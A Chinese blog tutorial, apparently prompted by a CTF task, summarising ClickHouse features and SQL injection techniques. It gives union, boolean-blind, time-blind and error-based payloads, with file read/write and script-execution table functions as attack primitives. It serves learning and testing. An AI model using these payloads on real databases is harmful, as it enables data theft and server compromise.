clickhouse注入手法总结
clickhouse
遇到一题clickhouse注入相关的,没有见过,于是来学习clickhouse的使用,并总结相关注入手法。
环境搭建
直接在docker运行
docker pull clickhouse/clickhouse-server
docker run -d --name some-clickhouse-server --ulimit nofile=262144:262144 clickhouse/clickhouse-server
基础sql语句
列出数据库
show databases;

列出表
show tables;
查看表结构
desc system.databases;

select name,database,data_path from system.databases;

建表语句
CREATE DATABASE IF NOT EXISTS helloworld;
CREATE TABLE helloworld.my_first_table
(
user_id UInt32,
message String,
timestamp DateTime,
metric Float32
)
ENGINE = MergeTree()
PRIMARY KEY (user_id, timestamp)
插入数据
INSERT INTO helloworld.my_first_table (user_id, message, timestamp, metric) VALUES
(101, 'Hello, ClickHouse!', now(), -1.0 ),
(102, 'Insert a lot of rows per batch', yesterday(), 1.41421 ),
(102, 'Sort your data based on your commonly-used queries', today(), 2.718 ),
(101, 'Granules are the smallest chunks of data read', now() + 5, 3.14159 )
system 数据库
这个数据库存储了数据库信息、表信息、字段信息
select name,table,database from system.tables where database=database();

select name,table from system.columns where table='my_first_table';

infomation_schema 数据库
这个数据库也是存储了数据库、表、字段信息
查表

查列

常规函数
常规函数就是产生一个值的函数
字符串拼接
concatWithSeparator(sep, expr1, expr2, expr3...);
字符串切割

select substring('abcdef',2,3);
字符串比较
select startsWith(str, prefix)
select endsWith(str, suffix)
编码
select ascii('a')
select char(97)
select base64Encode('clickhouse')
select base64Decode('Y2xpY2tob3VzZQ==')
sleep

当sleep参数大于3时,不运行,直接报错

聚合函数
字段拼接
select groupArray(message) from my_first_table

groupArray的返回结果是数组,不能直接与字符串类型进行union操作
select groupArray(message) from my_first_table union all select '123';

得先把数组转换成字符串,才能进行union
select arrayStringConcat(groupArray(message),',') from my_first_table;

表函数
表函数就是接在from后面的,返回的结果作为一张表,能够被查询
执行脚本文件
在/var/lib/clickhouse/user_scripts/这个目录下创建脚本文件:
| python |
执行sql语句:SELECT * FROM executable('1.py', TabSeparated, 'id UInt32, random String', (SELECT 10))
其中TabSeparated表示脚本文件的输出每行以\t符号分隔,用于解析结果,可以换成TSV
如果脚本文件的输出以逗号结尾,那么就写CSV
最后一个参数要传入一个query语句,结果会被传入脚本文件的标准输入
用什么解释器执行脚本,取决于文件开头的注释#!/
当尝试跨目录执行文件时,报错:

文件读取
按照一定的格式读取文件,要求文件的路径在user_files下
语法:
| file([path_to_archive ::] path [,format] [,structure] [,compression]) |
例如文件内容为:
| java |
查询sql语句:SELECT * FROM file('1.txt', 'CSV', 'column1 UInt32, column2 UInt32, column3 UInt32');

写文件
没有别的限制,任意位置都可写
select 1,2,3 union all select 123,4556,789 into outfile '/tmp/1.txt';


发起网络请求
SELECT * FROM url('http://127.0.0.1:12345/', CSV, 'column1 String, column2 UInt32', headers('Accept'='text/csv; charset=utf-8'));

其他
除了上述表函数,还能够发起mysql连接,jdbc连接,redis连接,详细可以查阅文档。总之功能十分多样
注入手法
获取表名:
select arrayStringConcat(groupArray(name),',') from system.tables where database=database()
select arrayStringConcat(groupArray(table),',') from system.tables where database=database()
select arrayStringConcat(groupArray(table_schema),',') from information_schema.tables where table_schema=database()
获取列名
select arrayStringConcat(groupArray(name),',') from system.columns where table='your_table'
select arrayStringConcat(groupArray(column_name),',') from information_schema.tables where table_name='your_table'
联合注入
要点:
1. 不能写union select,应该写union all select 或者union distinct select
2. 两个查询对应的列的数据类型要相同
布尔盲注
和mysql差不多,就是注意一下有哪些函数可以互相平替的,比如字符串截取,编码等函数,方便绕过对特定函数的过滤。
ascii(substr('xxx',0,1))=97
if(ascii(substr('xxx',0,1)) = 97,0,1)
时间盲注
if(ascii(substr('xxx',0,1)) = 97,0,sleep(1))
可以执行其他耗时的查询代替sleep:

报错注入
select 1 where 1=CAST((select database()) as UInt32)

相关文章:
clickhouse注入手法总结
clickhouse 遇到一题clickhouse注入相关的,没有见过,于是来学习clickhouse的使用,并总结相关注入手法。 环境搭建 直接在docker运行 docker pull clickhouse/clickhouse-server docker run -d --name some-clickhouse-server --ulimit n…...
React 组件样式
在这里插入图片描述 分为行内和css文件控制 行内 通过CSS中类名文件控制...
利用 pyecharts 实现地图的数据可视化——第七次人口普查数据的2d、3d展示(关键词:2d 、3d 、map、 geo、涟漪点)
参考文档:链接: link_pyecharts 官方文档 1、map() 传入省份全称,date_pair 是列表套列表 [ [ ],[ ] … ] 2、geo() 传入省份简称,date_pair 是列表套元组 [ ( ),( ) … ] 1、准备数据 population_data:简称经纬度 population_da…...
解决 Elasticsearch 分页查询性能瓶颈——从10分钟到秒级的优化实践
大家好,我是铭毅天下,一名专注于 Elasticsearch (以下简称ES)技术栈的技术爱好者。 今天我们来聊聊球友提出的一个实际问题: ES分页查询性能很差,使用from/size方式检索居然需要10分钟! 这是一个…...
记录IBM服务器检测到备份GPT损坏警告排查解决过程
服务器设备:IBM x3550 M4 Server IMM默认IP地址:192.168.70.125 用户名:USERID 密码:PASSW0RD(注意是零0) 操作系统:Windows Hyper-V Server 2016 IMM Web System Status Warning࿱…...
毫米波测试套装速递!高效赋能5G/6G、新材料及智能超表面(RIS)研发
德思特(Tesight)作为全球领先的测试测量解决方案提供商,始终致力于为前沿技术研发提供高精度、高效率的测试工具。 针对毫米波技术在高频通信、智能超表面(RIS)、新材料等领域的快速应用需求,我们推出毫米…...
Linux中卸载宝塔面板
输入命令 wget http://download.bt.cn/install/bt-uninstall.sh 执行脚本命令 sh bt-uninstall.sh 根据自己的情况选择1还是2 卸载完成校验 bt 这样我们的宝塔面板就卸载完了...
无人机的振动与噪声控制技术!
一、振动控制技术要点 1. 振动源分析 气动振动:旋翼桨叶涡脱落(如叶尖涡干涉)、动态失速(Dynamic Stall)引发的周期性气动激振力(频率与转速相关)。 机械振动:电机偏心、传动轴不…...
Linux(CentOS10) gcc编译
本例子摘自《鸟哥的linux私房菜-基础学习第四版》 21.3 用make进行宏编译 书中的代码在本机器(版本见下)编译出错,改正代码后发布此文章: #kernel version: rootlocalhost:~/testmake# uname -a Linux localhost 6.12.0-65.el10.x86_64 #1…...
【蓝桥杯】第十六届蓝桥杯 JAVA B组记录
试题 A: 逃离高塔 很简单,签到题,但是需要注意精度,用int会有溢出风险 答案:202 package lanqiao.t1;import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.PrintWrit…...
OSPF的接口网络类型【复习篇】
OSPF在不同网络环境下默认的不同工作方式 [a3]display ospf interface g 0/0/0 # 查看ospf接口的网络类型网络类型OSPF接口的网络类型(工作方式)计时器BMA(以太网)broadcast ,需要DR/BDR的选举hello:10s…...
微信小程序运行机制详解
微信小程序运行机制详解 微信小程序是介于 Web 和原生 App 之间的一种应用形态,具有无需安装、用完即走、体验流畅的特点。本文将从架构层面、运行环境、通信机制等方面深入剖析微信小程序的运行机制。 一、小程序运行架构概览 微信小程序采用双线程模型ÿ…...
python+requests接口自动化测试框架实例教程
🍅 点击文末小卡片 ,免费获取软件测试全套资料,资料在手,涨薪更快 前段时间由于公司测试方向的转型,由原来的web页面功能测试转变成接口测试,之前大多都是手工进行,利用postman和jmeter进行…...
2021第十二届蓝桥杯大赛软件赛省赛C/C++ 大学 B 组
记录刷题的过程、感悟、题解。 希望能帮到,那些与我一同前行的,来自远方的朋友😉 大纲: 1、空间-(题解)-字节单位转换 2、卡片-(题解)-可以不用当组合来写,思维题 3、直…...
spark课后总结
Spark运行架构 : 运行架构 Spark 采用master - slave(主从)结构。Driver 相当于master,负责管理集群中的作业任务调度;Executor 相当于slave,负责实际执行任务 核心组件 Driver:是Spark驱动…...
智能资源管理机制-重传机制
一、发送端资源管理的核心机制 1. 滑动窗口(Sliding Window) 这是TCP协议的核心优化设计: 窗口动态滑动:发送端不需要保留所有已发送的分组,只需维护一个"发送窗口"窗口大小:由接收方通告的接…...
设计模式 --- 原型模式
原型模式是创建型模式的一种,是在一个原型的基础上,建立一致的复制对象的方式。这个原型通常是我们在应用程序生命周期中需要创建多次的一个典型对象。为了避免初始化新对象潜在的性能开销,我们可以使用原型模式来建立一个非常类似于复印机的…...
基于SiamFC的红外目标跟踪
基于SiamFC的红外目标跟踪 1,背景与原理2,SiamFC跟踪方法概述2.1 核心思想2.2 算法优势3,基于SiamFC的红外跟踪代码详解3.1 网络定义与交叉相关模块3.2 SiamFC 跟踪器实现3.3 主程序:利用 OpenCV 实现视频跟踪4,总结与展望在红外监控、无人机防御以及低光照场景中,红外图…...
多模态学习分析(MLA)驱动高中差异化教学策略研究
一、引言 1.1 研究背景 在当今时代,教育数字化转型的浪潮正席卷全球,深刻地改变着教育的面貌。这一转型不仅是技术的革新,更是教育理念、教学模式和教育管理的全面变革。随着互联网、大数据、人工智能等现代信息技术在教育领域的广泛应用&a…...
设计模式 - 单例
单例设计模式 单例设计模式是一种创建型设计模式,它确保一个类只有一个实例,并提供一个全局访问点来获取这个实例。 在 JavaScript 里,有多种实现单例设计模式的方式,下面为你详细介绍: 1. 简单对象字面量实现 这是…...
汽车软件开发常用的建模工具汇总
目录 往期推荐 1.Enterprise Architect(EA) 2.MATLAB/Simulink 3.TargetLink 4.Rational Rhapsody 5.AUTOSAR Builder 6.PREEvision 总结 往期推荐 2025汽车行业新宠:欧企都在用的工具软件ETAS工具链自动化实战指南<一&am…...
SSM废品买卖回收管理系统的设计与实现
🍅点赞收藏关注 → 添加文档最下方联系方式咨询本源代码、数据库🍅 本人在Java毕业设计领域有多年的经验,陆续会更新更多优质的Java实战项目希望你能有所收获,少走一些弯路。🍅关注我不迷路🍅 项目视频 07…...
@SchedulerLock 防止分布式环境下定时任务并发执行
背景 在一个有多个服务实例的分布式系统中,如果你用 Scheduled 来定义定时任务,所有实例都会执行这个任务。ShedLock 的目标是只让一个实例在某一时刻执行这个定时任务。 使用步骤 引入依赖 当前以redisTemplate为例子,MongoDB、Zookeeper…...
实信号的傅里叶变换为何属于埃尔米特函数?从数学原理到 MATLAB 动态演示
引言 在信号处理领域,傅里叶变换是分析信号在频域表现的重要工具。特别是对于实信号,实信号是指在时间或空间域内取值为实数的信号,例如音频信号、温度变化等,它的傅里叶变换展现了一个非常特殊的数学性质——共轭对称性…...
【VitePress】新增md文件后自动更新侧边栏导航
目录 说在前面先看效果代码结构详细说明侧边栏格式utils监听文件变化使用pm2管理监听进程 说在前面 操作系统:windows11node版本:v18.19.0npm版本:10.2.3vitepress版本:1.6.3完整代码:github 先看效果 模板用的就是官…...
docker部署scylladb
创建存储数据的目录和配置目录 mkdir -p /root/docker/scylla/data/data /root/docker/scylla/data/commitlog /root/docker/scylla/data/hints /root/docker/scylla/data/view_hints /root/docker/scylla/conf快速启动拷贝配置文件 docker run -d \--name scylla \scylladb/…...
Android 16应用适配指南
Android 16版本特性介绍 https://developer.android.com/about/versions/16?hlzh-cn Android 16 所有功能和 API 概览 https://developer.android.com/about/versions/16/features?hlzh-cn#language-switching Android 16 发布时间 Android 16 适配指南 Google开发平台&…...
2.2goweb解析http请求信息
Go语言的net/http包提供了一些列用于表示HTTP报文的解构。我们可以使用它处理请求和发送响应。其中request结构体代表了客户端发生的请求报文。 核心字段获取方法 1. 请求行信息 通过 http.Request 结构体获取: func handler(w http.ResponseWriter, r *http.Req…...
本地部署大模型(ollama模式)
分享记录一下本地部署大模型步骤。 大模型应用部署可以选择 ollama 或者 LM Studio。本文介绍ollama本地部署 ollama官网为:https://ollama.com/ 进入官网,下载ollama。 ollama是一个模型管理工具和平台,它提供了很多国内外常见的模型&…...
KWDB创作者计划—KWDB:国产分布式多模数据库的创新实践
在数字化转型的浪潮中,数据管理技术正经历着前所未有的变革。随着物联网、人工智能等技术的飞速发展,企业面临着海量多源异构数据的管理挑战。KWDB(KaiwuDB Community Edition)作为一款面向AIoT场景的分布式多模数据库,…...
